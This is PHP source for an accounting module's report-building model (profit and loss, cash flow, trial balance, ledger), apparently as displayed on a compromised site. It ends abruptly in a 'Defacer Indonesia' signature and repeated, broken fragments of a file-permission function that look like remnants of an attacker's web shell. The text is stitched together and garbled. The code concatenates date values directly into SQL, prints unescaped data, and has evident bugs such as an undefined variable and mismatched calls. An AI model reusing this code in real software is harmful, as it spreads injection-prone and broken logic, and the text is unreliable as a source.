class="treegrid-'.$data_return['row_index'].' treegrid-parent-'.$_parent_index.'"> <td> '. _d($val['date']).' </td> <td> '. html_entity_decode($val['type']).' </td> <td> '. html_entity_decode($val['description']).' </td> <td> '. html_entity_decode($val['split']).' </td> <td class="total_amount"> '. app_format_money($val['amount'], $currency->name).' </td> <td class="total_amount"> '. app_format_money($val['balance'], $currency->name).' </td> </tr>'; } $total_amount = $amount; $data_return['row_index']++; if(count($value['child_account']) > 0){ $t = $data_return['total_amount']; $data_return = $this->get_html_profit_and_loss_detail($value['child_account'], $data_return, $_parent_index, $currency); $total_amount += $data_return['total_amount']; $data_return['row_index']++; $data_return['html'] .= ' <tr class="treegrid-'.$data_return['row_index'].' treegrid-parent-'.$parent_index.' tr_total"> <td> '._l('total_for', $value['name']).' </td> <td></td> <td></td> <td></td> <td class="total_amount"> '.app_format_money($total_amount, $currency->name).' </td> <td></td> </tr>'; $data_return['total_amount'] += $t; } $data_return['total_amount'] += $amount; } return $data_return; } /** * get data profit and loss year to date comparison recursive * @param array $child_account * @param integer $account_id * @param integer $account_type_id * @param string $from_date * @param string $to_date * @param string $last_from_date * @param string $last_to_date * @param string $accounting_method * @return array */ public function get_data_profit_and_loss_year_to_date_comparison_recursive($child_account, $account_id, $account_type_id, $from_date, $to_date, $last_from_date, $last_to_date, $accounting_method){ $this->db->where('active', 1); $this->db->where('parent_account', $account_id); $accounts = $this->db->get(db_prefix().'acc_accounts')->result_array(); foreach ($accounts as $val) { $this->db->select('sum(credit) as credit, sum(debit) as debit'); $this->db->where('account', $val['id']); if($accounting_method == 'cash'){ $this->db->where('((rel_type = "invoice" and paid = 1) or rel_type != "invoice")'); } $this->db->where('(date >= "' . $from_date . '" and date <= "' . $to_date . '")'); $account_history = $this->db->get(db_prefix().'acc_account_history')->row(); $credits = $account_history->credit != '' ? $account_history->credit : 0; $debits = $account_history->debit != '' ? $account_history->debit : 0; $this->db->select('sum(credit) as credit, sum(debit) as debit'); $this->db->where('account', $val['id']); if($accounting_method == 'cash'){ $this->db->where('((rel_type = "invoice" and paid = 1) or rel_type != "invoice")'); } $this->db->where('(date_format(datecreated, \'%Y-%m-%d\') >= "' . $last_from_date . '" and date_format(datecreated, \'%Y-%m-%d\') <= "' . $last_to_date . '")'); $py_account_history = $this->db->get(db_prefix().'acc_account_history')->row(); $py_credits = $py_account_history->credit != '' ? $py_account_history->credit : 0; $py_debits = $py_account_history->debit != '' ? $py_account_history->debit : 0; $name = $val['name'] != '' ? $val['name'] : _l($val['key_name']); if($account_type_id == 11 || $account_type_id == 12){ $child_account[] = ['name' => $name, 'this_year' => $credits - $debits, 'last_year' => $py_credits - $py_debits, 'child_account' => $this->get_data_profit_and_loss_year_to_date_comparison_recursive([], $val['id'], $account_type_id, $from_date, $to_date, $last_from_date, $last_to_date, $accounting_method)]; }else{ $child_account[] = ['name' => $name, 'this_year' => $debits - $credits, 'last_year' => $py_debits - $py_credits, 'child_account' => $this->get_data_profit_and_loss_year_to_date_comparison_recursive([], $val['id'], $account_type_id, $from_date, $to_date, $last_from_date, $last_to_date, $accounting_method)]; } } return $child_account; } /** * get html profit and loss year to date comparison * @param array $child_account * @param array $data_return * @param integer $parent_index * @param object $currency * @return array */ public function get_html_profit_and_loss_year_to_date_comparison($child_account, $data_return, $parent_index, $currency){ $total_amount = 0; $total_py_amount = 0; $data_return['total_amount'] = 0; $data_return['total_py_amount'] = 0; foreach ($child_account as $val) { $data_return['row_index']++; $total_amount = $val['this_year']; $total_py_amount = $val['last_year']; $data_return['html'] .= '<tr class="treegrid-'.$data_return['row_index'].' '.($parent_index != 0 ? 'treegrid-parent-'.$parent_index : '').' expanded"> <td> '.$val['name'].' </td> <td class="total_amount"> '.app_format_money($val['this_year'], $currency->name).' </td> <td class="total_amount"> '.app_format_money($val['last_year'], $currency->name).' </td> </tr>'; if(count($val['child_account']) > 0){ $t = $data_return['total_amount']; $p = $data_return['total_py_amount']; $data_return = $this->get_html_profit_and_loss_year_to_date_comparison($val['child_account'], $data_return, $data_return['row_index'], $currency); $total_amount += $data_return['total_amount']; $total_py_amount += $data_return['total_py_amount']; $data_return['row_index']++; $data_return['html'] .= '<tr class="treegrid-'.$data_return['row_index'].' '.($parent_index != 0 ? 'treegrid-parent-'.$parent_index : '').' tr_total"> <td> '._l('total_for', $val['name']).' </td> <td class="total_amount"> '.app_format_money($total_amount, $currency->name).' </td> <td class="total_amount"> '.app_format_money($total_py_amount, $currency->name).' </td> </tr>'; $data_return['total_amount'] += $t; $data_return['total_py_amount'] += $p; } $data_return['total_amount'] += $val['this_year']; $data_return['total_py_amount'] += $val['last_year']; } return $data_return; } /** * get data profit and loss recursive * @param array $child_account * @param integer $account_id * @param integer $account_type_id * @param string $from_date * @param string $to_date * @param string $accounting_method * @return array */ public function get_data_profit_and_loss_recursive($child_account, $account_id, $account_type_id, $from_date, $to_date, $accounting_method){ $this->db->where('active', 1); $this->db->where('parent_account', $account_id); $accounts = $this->db->get(db_prefix().'acc_accounts')->result_array(); foreach ($accounts as $val) { $this->db->select('sum(credit) as credit, sum(debit) as debit'); $this->db->where('account', $val['id']); if($accounting_method == 'cash'){ $this->db->where('((rel_type = "invoice" and paid = 1) or rel_type != "invoice")'); } $this->db->where('(date >= "' . $from_date . '" and date <= "' . $to_date . '")'); $account_history = $this->db->get(db_prefix().'acc_account_history')->row(); $credits = $account_history->credit != '' ? $account_history->credit : 0; $debits = $account_history->debit != '' ? $account_history->debit : 0; $name = $val['name'] != '' ? $val['name'] : _l($val['key_name']); if($account_type_id == 11 || $account_type_id == 12){ $child_account[] = ['name' => $name, 'amount' => $credits - $debits, 'child_account' => $this->get_data_profit_and_loss_recursive([], $val['id'], $account_type_id, $from_date, $to_date, $accounting_method)]; }else{ $child_account[] = ['name' => $name, 'amount' => $debits - $credits, 'child_account' => $this->get_data_profit_and_loss_recursive([], $val['id'], $account_type_id, $from_date, $to_date, $accounting_method)]; } } return $child_account; } /** * get html profit and loss * @param array $child_account * @param array $data_return * @param integer $parent_index * @param object $currency * @return array */ public function get_html_profit_and_loss($child_account, $data_return, $parent_index, $currency){ $total_amount = 0; $data_return['total_amount'] = 0; foreach ($child_account as $val) { $data_return['row_index']++; $total_amount = $val['amount']; $data_return['html'] .= '<tr class="treegrid-'.$data_return['row_index'].' '.($parent_index != 0 ? 'treegrid-parent-'.$parent_index : '').' expanded"> <td> '.$val['name'].' </td> <td class="total_amount"> '.app_format_money($val['amount'], $currency->name).' </td> </tr>'; if(count($val['child_account']) > 0){ $t = $data_return['total_amount']; $data_return = $this->get_html_custom_summary($val['child_account'], $data_return, $data_return['row_index'], $currency); $total_amount += $data_return['total_amount']; $data_return['row_index']++; $data_return['html'] .= '<tr class="treegrid-'.$data_return['row_index'].' '.($parent_index != 0 ? 'treegrid-parent-'.$parent_index : '').' tr_total"> <td> '._l('total_for', $val['name']).' </td> <td class="total_amount"> '.app_format_money($total_amount, $currency->name).' </td> </tr>'; $data_return['total_amount'] += $t; } $data_return['total_amount'] += $val['amount']; } return $data_return; } /** * get data statement of cash flows recursive * @param array $child_account * @param integer $account_id * @param integer $account_type_id * @param integer $account_detail_type_id * @param string $from_date * @param string $to_date * @return array */ public function get_data_statement_of_cash_flows_recursive($child_account, $account_id, $account_type_id, $account_detail_type_id, $from_date, $to_date){ $this->db->where('active', 1); $this->db->where('parent_account', $account_id); $accounts = $this->db->get(db_prefix().'acc_accounts')->result_array(); foreach ($accounts as $val) { if($val['id'] == 13){ $this->db->where('(rel_type != "invoice" and rel_type != "expense" and rel_type != "payment")'); } $this->db->select('sum(credit) as credit, sum(debit) as debit'); $this->db->where('(date >= "' . $from_date . '" and date <= "' . $to_date . '")'); $this->db->where('account', $val['id']); $account_history = $this->db->get(db_prefix().'acc_account_history')->row(); $credits = $account_history->credit != '' ? $account_history->credit : 0; $debits = $account_history->debit != '' ? $account_history->debit : 0; $name = $val['name'] != '' ? $val['name'] : _l($val['key_name']); if($account_type_id == 11 || $account_type_id == 12 || $account_type_id == 10 || $account_type_id == 8 || $account_type_id == 7 || $account_type_id == 4 || $account_type_id == 5 || $account_type_id == 6 || $account_type_id == 2 || $account_type_id == 9 || $account_type_id == 1){ $child_account[] = ['account_detail_type_id' => $account_detail_type_id, 'name' => $name, 'amount' => $credits - $debits, 'child_account' => $this->get_data_statement_of_cash_flows_recursive([], $val['id'], $account_type_id, $account_detail_type_id, $from_date, $to_date)]; }else{ $child_account[] = ['account_detail_type_id' => $account_detail_type_id, 'name' => $name, 'amount' => $debits - $credits, 'child_account' => $this->get_data_statement_of_cash_flows_recursive([], $val['id'], $account_type_id, $account_detail_type_id, $from_date, $to_date)]; } } return $child_account; } /** * get html statement of cash flows * @param array $child_account * @param array $data_return * @param integer $parent_index * @param object $currency * @return array */ public function get_html_statement_of_cash_flows($child_account, $data_return, $parent_index, $currency){ $total_amount = 0; $data_return['total_amount'] = 0; foreach ($child_account as $val) { $data_return['row_index']++; $total_amount = $val['amount']; $data_return['html'] .= '<tr class="treegrid-'.$data_return['row_index'].' '.($parent_index != 0 ? 'treegrid-parent-'.$parent_index : '').' expanded"> <td> '.$val['name'].' </td> <td class="total_amount"> '.app_format_money($val['amount'], $currency->name).' </td> </tr>'; if(count($val['child_account']) > 0){ $t = $data_return['total_amount']; $data_return = $this->get_html_statement_of_cash_flows($val['child_account'], $data_return, $data_return['row_index'], $currency); $total_amount += $data_return['total_amount']; $data_return['row_index']++; $data_return['html'] .= '<tr class="treegrid-'.$data_return['row_index'].' '.($parent_index != 0 ? 'treegrid-parent-'.$parent_index : '').' tr_total"> <td> '._l('total_for', $val['name']).' </td> <td class="total_amount"> '.app_format_money($total_amount, $currency->name).' </td> </tr>'; $data_return['total_amount'] += $t; } $data_return['total_amount'] += $val['amount']; } return $data_return; } /** * get data statement of changes in equity recursive recursive * @param array $child_account * @param integer $account_id * @param integer $account_type_id * @param integer $account_detail_type_id * @param string $from_date * @param string $to_date * @param string $accounting_method * @return array */ public function get_data_statement_of_changes_in_equity_recursive($child_account, $account_id, $from_date, $to_date, $accounting_method){ $this->db->where('active', 1); $this->db->where('parent_account', $account_id); $accounts = $this->db->get(db_prefix().'acc_accounts')->result_array(); foreach ($accounts as $val) { $this->db->select('sum(credit) as credit, sum(debit) as debit'); $this->db->where('(date >= "' . $from_date . '" and date <= "' . $to_date . '")'); $this->db->where('account', $val['id']); if($accounting_method == 'cash'){ $this->db->where('((rel_type = "invoice" and paid = 1) or rel_type != "invoice")'); } $account_history = $this->db->get(db_prefix().'acc_account_history')->row(); $credits = $account_history->credit != '' ? $account_history->credit : 0; $debits = $account_history->debit != '' ? $account_history->debit : 0; $name = $val['name'] != '' ? $val['name'] : _l($val['key_name']); $child_account[] = ['account_detail_type_id' => $value['id'], 'name' => $name, 'amount' => $credits - $debits, 'child_account' => $this->get_data_statement_of_cash_flows_recursive([], $val['id'], $from_date, $to_date, $accounting_method)]; } return $child_account; } /** * get html statement of changes in equity * @param array $child_account * @param array $data_return * @param integer $parent_index * @param object $currency * @return array */ public function get_html_statement_of_changes_in_equity($child_account, $data_return, $parent_index, $currency){ $total_amount = 0; $data_return['total_amount'] = 0; foreach ($child_account as $val) { $data_return['row_index']++; $total_amount = $val['amount']; $data_return['html'] .= '<tr class="treegrid-'.$data_return['row_index'].' '.($parent_index != 0 ? 'treegrid-parent-'.$parent_index : '').' expanded"> <td> '.$val['name'].' </td> <td class="total_amount"> '.app_format_money($val['amount'], $currency->name).' </td> </tr>'; if(count($val['child_account']) > 0){ $t = $data_return['total_amount']; $data_return = $this->get_html_statement_of_changes_in_equity($val['child_account'], $data_return, $data_return['row_index'], $currency); $total_amount += $data_return['total_amount']; $data_return['row_index']++; $data_return['html'] .= '<tr class="treegrid-'.$data_return['row_index'].' '.($parent_index != 0 ? 'treegrid-parent-'.$parent_index : '').' tr_total"> <td> '._l('total_for', $val['name']).' </td> <td class="total_amount"> '.app_format_money($total_amount, $currency->name).' </td> </tr>'; $data_return['total_amount'] += $t; } $data_return['total_amount'] += $val['amount']; } return $data_return; } /** * get data account list recursive * @param array $child_account * @param integer $account_id * @param integer $account_type_id * @param array $account_type_name * @param array $detail_type_name * @return array */ public function get_data_account_list_recursive($child_account, $account_id, $account_type_id, $account_type_name, $detail_type_name){ $this->db->where('active', 1); $this->db->where('parent_account', $account_id); $accounts = $this->db->get(db_prefix().'acc_accounts')->result_array(); foreach ($accounts as $val) { $this->db->select('sum(credit) as credit, sum(debit) as debit'); $this->db->where('account', $val['id']); $account_history = $this->db->get(db_prefix().'acc_account_history')->row(); $credits = $account_history->credit != '' ? $account_history->credit : 0; $debits = $account_history->debit != '' ? $account_history->debit : 0; $name = $val['name'] != '' ? $val['name'] : _l($val['key_name']); $_account_type_name = isset($account_type_name[$val['account_type_id']]) ? $account_type_name[$val['account_type_id']] : ''; $_detail_type_name = isset($detail_type_name[$val['account_detail_type_id']]) ? $detail_type_name[$val['account_detail_type_id']] : ''; $child_account[] = ['number' => $val['number'], 'description' => $val['description'], 'type' => $_account_type_name, 'detail_type' => $_detail_type_name, 'name' => $name, 'amount' => $debits - $credits, 'child_account' => $this->get_data_account_list_recursive([], $val['id'], $account_type_id, $account_type_name, $detail_type_name)]; } return $child_account; } /** * get html account list * @param array $child_account * @param array $data_return * @param integer $parent_index * @param object $currency * @return array */ public function get_html_account_list($child_account, $data_return, $parent_index, $currency){ $total_amount = 0; $data_return['total_amount'] = 0; foreach ($child_account as $val) { $data_return['row_index']++; $total_amount = $val['amount']; $name = ''; if($val['number'] != ''){ $name .= $val['number'] .' - '; } $name .= $val['name']; $data_return['html'] .= '<tr class="treegrid-'.$data_return['row_index'].' '.($parent_index != 0 ? 'treegrid-parent-'.$parent_index : '').' expanded"> <td> '.$name.' </td> <td> '.$val['type'].' </td> <td> '.$val['detail_type'].' </td> <td> '.$val['description'].' </td> <td class="total_amount"> '.app_format_money($val['amount'], $currency->name).' </td> </tr>'; if(count($val['child_account']) > 0){ $t = $data_return['total_amount']; $data_return = $this->get_html_account_list($val['child_account'], $data_return, $data_return['row_index'], $currency); $total_amount += $data_return['total_amount']; $data_return['row_index']++; $data_return['html'] .= '<tr class="treegrid-'.$data_return['row_index'].' '.($parent_index != 0 ? 'treegrid-parent-'.$parent_index : '').' tr_total"> <td> '._l('total_for', $val['name']).' </td> <td></td> <td></td> <td></td> <td class="total_amount"> '.app_format_money($total_amount, $currency->name).' </td> </tr>'; $data_return['total_amount'] += $t; } $data_return['total_amount'] += $val['amount']; } return $data_return; } /** * get data general ledger recursive * @param array $child_account * @param integer $account_id * @param integer $account_type_id * @param string $from_date * @param string $to_date * @param string $accounting_method * @return array */ public function get_data_general_ledger_recursive($child_account, $account_id, $account_type_id, $from_date, $to_date, $accounting_method){ $this->db->where('active', 1); $this->db->where('parent_account', $account_id); $accounts = $this->db->get(db_prefix().'acc_accounts')->result_array(); foreach ($accounts as $val) { $this->db->where('(date >= "' . $from_date . '" and date <= "' . $to_date . '")'); $this->db->where('account', $val['id']); if($accounting_method == 'cash'){ $this->db->where('((rel_type = "invoice" and paid = 1) or rel_type != "invoice")'); } $account_history = $this->db->get(db_prefix().'acc_account_history')->result_array(); $node = []; $balance = 0; $amount = 0; foreach ($account_history as $v) { if($account_type_id == 11 || $account_type_id == 12 || $account_type_id == 10 || $account_type_id == 9 || $account_type_id == 8 || $account_type_id == 7 || $account_type_id == 6){ $am = $v['credit'] - $v['debit']; }else{ $am = $v['debit'] - $v['credit']; } $node[] = [ 'date' => date('Y-m-d', strtotime($v['date'])), 'type' => _l($v['rel_type']), 'split' => $v['split'] != 0 ? (isset($account_name[$v['split']]) ? $account_name[$v['split']] : '') : '-Split-', 'description' => $v['description'], 'customer' => $v['customer'], 'debit' => $v['debit'], 'credit' => $v['credit'], 'amount' => $am, 'balance' => $balance + $am, ]; $amount += $am; $balance += $am; } $name = $val['name'] != '' ? $val['name'] : _l($val['key_name']); $child_account[] = ['account' => $val['id'], 'name' => $name, 'amount' => $amount, 'balance' => $balance, 'details' => $node, 'child_account' => $this->get_data_general_ledger_recursive([], $val['id'], $account_type_id, $from_date, $to_date, $accounting_method)]; } return $child_account; } /** * get html general ledger * @param array $child_account * @param array $data_return * @param integer $parent_index * @param object $currency * @return array */ public function get_html_general_ledger($child_account, $data_return, $parent_index, $currency){ $total_amount = 0; $data_return['total_amount'] = 0; foreach ($child_account as $value) { $amount = 0; $data_return['row_index']++; $_parent_index = $data_return['row_index']; if(count($value['details']) > 0 || count($value['child_account']) > 0){ $data_return['html'] .= '<tr class="treegrid-'.$_parent_index.' '.($parent_index != 0 ? 'treegrid-parent-'.$parent_index : '').' parent-node expanded"> <td class="parent">'.$value['name'].'</td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> </tr>'; } foreach ($value['details'] as $val) { $data_return['row_index']++; $amount += $val['amount']; $data_return['html'] .= '<tr class="treegrid-'.$data_return['row_index'].' treegrid-parent-'.$_parent_index.'"> <td> '. _d($val['date']).' </td> <td> '. html_entity_decode($val['type']).' </td> <td> '. get_company_name($val['customer']).' </td> <td> '. html_entity_decode($val['description']).' </td> <td> '. html_entity_decode($val['split']).' </td> <td class="total_amount"> '. app_format_money($val['amount'], $currency->name).' </td> <td class="total_amount"> '. app_format_money($val['balance'], $currency->name).' </td> </tr>'; } $total_amount = $amount; $data_return['row_index']++; $t = 0; if(count($value['child_account']) > 0){ $t = $data_return['total_amount']; $data_return = $this->get_html_general_ledger($value['child_account'], $data_return, $_parent_index, $currency); $total_amount += $data_return['total_amount']; } if(count($value['details']) > 0 || count($value['child_account']) > 0){ $data_return['row_index']++; $data_return['html'] .= ' <tr class="treegrid-'.$data_return['row_index'].' '.($parent_index != 0 ? 'treegrid-parent-'.$parent_index : '').' tr_total"> <td>'._l('total_for', $value['name']).'</td> <td></td> <td></td> <td></td> <td></td> <td class="total_amount"> '.app_format_money($total_amount, $currency->name).' </td> <td></td> </tr>'; $data_return['total_amount'] += $t; } $data_return['total_amount'] += $amount; } return $data_return; } /** * get data trial balance recursive * @param array $child_account * @param integer $account_id * @param integer $account_type_id * @param string $from_date * @param string $to_date * @param string $accounting_method * @return array */ public function get_data_trial_balance_recursive($child_account, $account_id, $account_type_id, $from_date, $to_date, $accounting_method){ $this->db->where('active', 1); $this->db->where('parent_account', $account_id); $accounts = $this->db->get(db_prefix().'acc_accounts')->result_array(); foreach ($accounts as $val) { $this->db->select('sum(credit) as credit, sum(debit) as debit'); $this->db->where('(date >= "' . $from_date . '" and date <= "' . $to_date . '")'); $this->db->where('account', $val['id']); if($accounting_method == 'cash'){ $this->db->where('((rel_type = "invoice" and paid = 1) or rel_type != "invoice")'); } $account_history = $this->db->get(db_prefix().'acc_account_history')->row(); $credits = $account_history->credit != '' ? $account_history->credit : 0; $debits = $account_history->debit != '' ? $account_history->debit : 0; if($credits > $debits){ $credits = $credits - $debits; $debits = 0; }else{ $debits = $debits - $credits; $credits = 0; } $name = $val['name'] != '' ? $val['name'] : _l($val['key_name']); $child_account[] = ['name' => $name, 'debit' => $debits, 'credit' => $credits, 'child_account' => $this->get_data_trial_balance_recursive([], $val['id'], $account_type_id, $from_date, $to_date, $accounting_method)]; } return $child_account; } /** * get html trial balance * @param array $child_account * @param array $data_return * @param integer $parent_index * @param object $currency * @return array */ public function get_html_trial_balance($child_account, $data_return, $parent_index, $currency){ $total_debit = 0; $total_credit = 0; $data_return['total_debit'] = 0; $data_return['total_credit'] = 0; foreach ($child_account as $val) { $data_return['row_index']++; $total_debit = $val['debit']; $total_credit = $val['credit']; $data_return['html'] .= '<tr class="treegrid-'.$data_return['row_index'].' '.($parent_index != 0 ? 'treegrid-parent-'.$parent_index : '').' expanded"> <td> '.$val['name'].' </td> <td class="total_amount"> '.app_format_money($val['debit'], $currency->name).' </td> <td class="total_amount"> '.app_format_money($val['credit'], $currency->name).' </td> </tr>'; if(count($val['child_account']) > 0){ $d = $data_return['total_debit']; $c = $data_return['total_credit']; $data_return = $this->get_html_trial_balance($val['child_account'], $data_return, $data_return['row_index'], $currency); $total_debit += $data_return['total_debit']; $total_credit += $data_return['total_credit']; $data_return['row_index']++; $data_return['html'] .= '<tr class="treegrid-'.$data_return['row_index'].' '.($parent_index != 0 ? 'treegrid-parent-'.$parent_index : '').' tr_total"> <td> '._l('total_for', $val['name']).' </td> <td class="total_amount"> '.app_format_money($total_debit, $currency->name).' </td> <td class="total_amount"> '.app_format_money($total_credit, $currency->name).' </td> </tr>'; $data_return['total_debit'] += $d; $data_return['total_credit'] += $c; } $data_return['total_debit'] += $val['debit']; $data_return['total_credit'] += $val['credit']; } return $data_return; } /** * get data transaction detail by account recursive * @param array $child_account * @param integer $account_id * @param integer $account_type_id * @param string $from_date * @param string $to_date * @param string $accounting_method * @return array */ public function get_data_transaction_detail_by_account_recursive($child_account, $account_id, $account_type_id, $from_date, $to_date, $accounting_method){ $this->db->where('active', 1); $this->db->where('parent_account', $account_id); $accounts = $this->db->get(db_prefix().'acc_accounts')->result_array(); foreach ($accounts as $val) { $this->db->where('(date >= "' . $from_date . '" and date <= "' . $to_date . '")'); $this->db->where('account', $val['id']); if($accounting_method == 'cash'){ $this->db->where('((rel_type = "invoice" and paid = 1) or rel_type != "invoice")'); } $account_history = $this->db->get(db_prefix().'acc_account_history')->result_array(); $node = []; $balance = 0; $amount = 0; foreach ($account_history as $v) { if($account_type_id == 11 || $account_type_id == 12 || $account_type_id == 10 || $account_type_id == 9 || $account_type_id == 8 || $account_type_id == 7 || $account_type_id == 6){ $am = $v['credit'] - $v['debit']; }else{ $am = $v['debit'] - $v['credit']; } $node[] = [ 'date' => date('Y-m-d', strtotime($v['date'])), 'type' => _l($v['rel_type']), 'description' => $v['description'], 'customer' => $v['customer'], 'split' => $v['split'] != 0 ? (isset($account_name[$v['split']]) ? $account_name[$v['split']] : '') : '-Split-', 'debit' => $v['debit'], 'credit' => $v['credit'], 'amount' => $am, 'balance' => $balance + ($am), ]; $amount += $am; $balance += $am; } $name = $val['name'] != '' ? $val['name'] : _l($val['key_name']); $child_account[] = ['account' => $val['id'], 'name' => $name, 'amount' => $amount, 'balance' => $balance, 'details' => $node, 'child_account' => $this->get_data_transaction_detail_by_account_recursive([], $val['id'], $account_type_id, $from_date, $to_date, $accounting_method)]; } return $child_account; } /** * get html transaction detail by account * @param array $child_account * @param array $data_return * @param integer $parent_index * @param object $currency * @return array */ public function get_html_transaction_detail_by_account($child_account, $data_return, $parent_index, $currency){ $total_amount = 0; $data_return['total_amount'] = 0; foreach ($child_account as $value) { $amount = 0; $data_return['row_index']++; $_parent_index = $data_return['row_index']; if(count($value['details']) > 0 || count($value['child_account']) > 0){ $data_return['html'] .= '<tr class="treegrid-'.$_parent_index.' '.($parent_index != 0 ? 'treegrid-parent-'.$parent_index : '').' parent-node expanded"> <td class="parent">'.$value['name'].'</td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> </tr>'; } foreach ($value['details'] as $val) { $data_return['row_index']++; $amount += $val['amount']; $data_return['html'] .= '<tr class="treegrid-'.$data_return['row_index'].' treegrid-parent-'.$_parent_index.'"> <td> '. _d($val['date']).' </td> <td> '. html_entity_decode($val['type']).' </td> <td> '. get_company_name($val['customer']).' </td> <td> '. html_entity_decode($val['description']).' </td> <td> '. html_entity_decode($val['split']).' </td> <td class="total_amount"> '. app_format_money($val['amount'], $currency->name).' </td> <td class="total_amount"> '. app_format_money($val['balance'], $currency->name).' </td> </tr>'; } $total_amount = $amount; $data_return['row_index']++; if(count($value['child_account']) > 0){ $t = $data_return['total_amount']; $data_return = $this->get_html_transaction_detail_by_account($value['child_account'], $data_return, $_parent_index, $currency); $total_amount += $data_return['total_amount']; $data_return['row_index']++; $data_return['html'] .= ' <tr class="treegrid-'.$data_return['row_index'].' '.($parent_index != 0 ? 'treegrid-parent-'.$parent_index : '').' tr_total"> <td> '._l('total_for', $value['name']).' </td> <td></td> <td></td> <td></td> <td></td> <td class="total_amount"> '.app_format_money($total_amount, $currency->name).' </td> <td></td> </tr>'; $data_return['total_amount'] += $t; } $data_return['total_amount'] += $amount; } return $data_return; } /** * get data deposit detail recursive * @param array $child_account * @param integer $account_id * @param integer $account_type_id * @param string $from_date * @param string $to_date * @return array */ public function get_data_deposit_detail_recursive($child_account, $account_id, $account_type_id, $from_date, $to_date){ $this->db->where('active', 1); $this->db->where('parent_account', $account_id); $accounts = $this->db->get(db_prefix().'acc_accounts')->result_array(); foreach ($accounts as $val) { $this->db->where('(date >= "' . $from_date . '" and date <= "' . $to_date . '")'); $this->db->where('account', $val['id']); $this->db->where('((rel_type = "payment" and debit > 0) or (rel_type = "deposit" and credit > 0))'); $account_history = $this->db->get(db_prefix().'acc_account_history')->result_array(); $node = []; $balance = 0; $amount = 0; foreach ($account_history as $v) { if($account_type_id == 10 || $account_type_id == 9 || $account_type_id == 8 || $account_type_id == 7){ $amount += $v['credit'] - $v['debit']; $am = ($v['credit'] - $v['debit']); }else{ $amount += $v['debit'] - $v['credit']; $am = ($v['debit'] - $v['credit']); } $node[] = [ 'date' => date('Y-m-d', strtotime($v['date'])), 'type' => _l($v['rel_type']), 'description' => $v['description'], 'customer' => $v['customer'], 'debit' => $v['debit'], 'credit' => $v['credit'], 'amount' => $am, ]; } $name = $val['name'] != '' ? $val['name'] : _l($val['key_name']); $child_account[] = ['account' => $val['id'], 'name' => $name, 'amount' => $amount, 'details' => $node, 'child_account' => $this->get_data_deposit_detail_recursive([], $val['id'], $account_type_id, $from_date, $to_date)]; } return $child_account; } /** * get html transaction detail by account * @param array $child_account * @param array $data_return * @param integer $parent_index * @param object $currency * @return array */ public function get_html_deposit_detail($child_account, $data_return, $parent_index, $currency){ $total_amount = 0; $data_return['total_amount'] = 0; foreach ($child_account as $value) { $amount = 0; $data_return['row_index']++; $_parent_index = $data_return['row_index']; if(count($value['details']) > 0 || count($value['child_account']) > 0){ $data_return['html'] .= '<tr class="treegrid-'.$_parent_index.' '.($parent_index != 0 ? 'treegrid-parent-'.$parent_index : '').' parent-node expanded"> <td class="parent">'.$value['name'].'</td> <td></td> <td></td> <td></td> <td></td> <td></td> </tr>'; } foreach ($value['details'] as $val) { $data_return['row_index']++; $amount += $val['amount']; $data_return['html'] .= '<tr class="treegrid-'.$data_return['row_index'].' treegrid-parent-'.$_parent_index.'"> <td> '. _d($val['date']).' </td> <td> '. html_entity_decode($val['type']).' </td> <td> '. get_company_name($val['customer']).' </td> <td> '. html_entity_decode($val['description']).' </td> <td class="total_amount"> '. app_format_money($val['amount'], $currency->name).' </td> </tr>'; } $total_amount = $amount; $data_return['row_index']++; if(count($value['child_account']) > 0){ $t = $data_return['total_amount']; $data_return = $this->get_html_deposit_detail($value['child_account'], $data_return, $_parent_index, $currency); $total_amount += $data_return['total_amount']; $data_return['row_index']++; $data_return['html'] .= ' <tr class="treegrid-'.$data_return['row_index'].' '.($parent_index != 0 ? 'treegrid-parent-'.$parent_index : '').' tr_total"> <td> '._l('total_for', $value['name']).' </td> <td></td> <td></td> <td></td> <td class="total_amount"> '.app_format_money($total_amount, $currency->name).' </td> </tr>'; $data_return['total_amount'] += $t; } $data_return['total_amount'] += $amount; } return $data_return; } /** * add new account type detail * @param array $data * @return integer */ public function add_account_type_detail($data) { if (isset($data['id'])) { unset($data['id']); } $this->db->insert(db_prefix() . 'acc_account_type_details', $data); $insert_id = $this->db->insert_id(); if ($insert_id) { return true; } return false; } /** * update account type detail * @param array $data * @param integer $id * @return integer */ public function update_account_type_detail($data, $id) { if (isset($data['id'])) { unset($data['id']); } $this->db->where('id', $id); $this->db->update(db_prefix() . 'acc_account_type_details', $data); if ($this->db->affected_rows() > 0) { return true; } return false; } /** * delete account type detail * @param integer $id * @return boolean */ public function delete_account_type_detail($id) { $this->db->where('account_detail_type_id',$id); $count = $this->db->count_all_results(db_prefix() . 'acc_accounts'); if($count > 0){ return 'have_account'; } $this->db->where('id', $id); $this->db->delete(db_prefix() . 'acc_account_type_details'); if ($this->db->affected_rows() > 0) { return true; } return false; } /** * get account type details * @param integer $id member group id * @param array $where * @return object */ public function get_data_account_type_details($id = '', $where = []) { if (is_numeric($id)) { $this->db->where('id', $id); return $this->db->get(db_prefix() . 'acc_account_type_details')->row(); } $this->db->where($where); $this->db->order_by('account_type_id', 'desc'); $account_type_details = $this->db->get(db_prefix() . 'acc_account_type_details')->result_array(); $account_types = $this->accounting_model->get_account_types(); $account_type_name = []; foreach ($account_types as $key => $value) { $account_type_name[$value['id']] = $value['name']; } foreach ($account_type_details as $key => $value) { $_account_type_name = isset($account_type_name[$value['account_type_id']]) ? $account_type_name[$value['account_type_id']] : ''; $account_type_details[$key]['account_type_name'] = $_account_type_name; } return $account_type_details; } /** * Change preferred payment method status / on / off * @param mixed $id staff id * @param mixed $status status(0/1) */ public function change_preferred_payment_method($id, $status) { $this->db->where('id', $id); $this->db->update(db_prefix() . 'acc_expense_category_mappings', [ 'preferred_payment_method' => $status, ]); } } Copyright ©2021 || Defacer Indonesia nfo .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); // World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } ?> ?> & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } ?> ?> )); return $info; } ?> ?>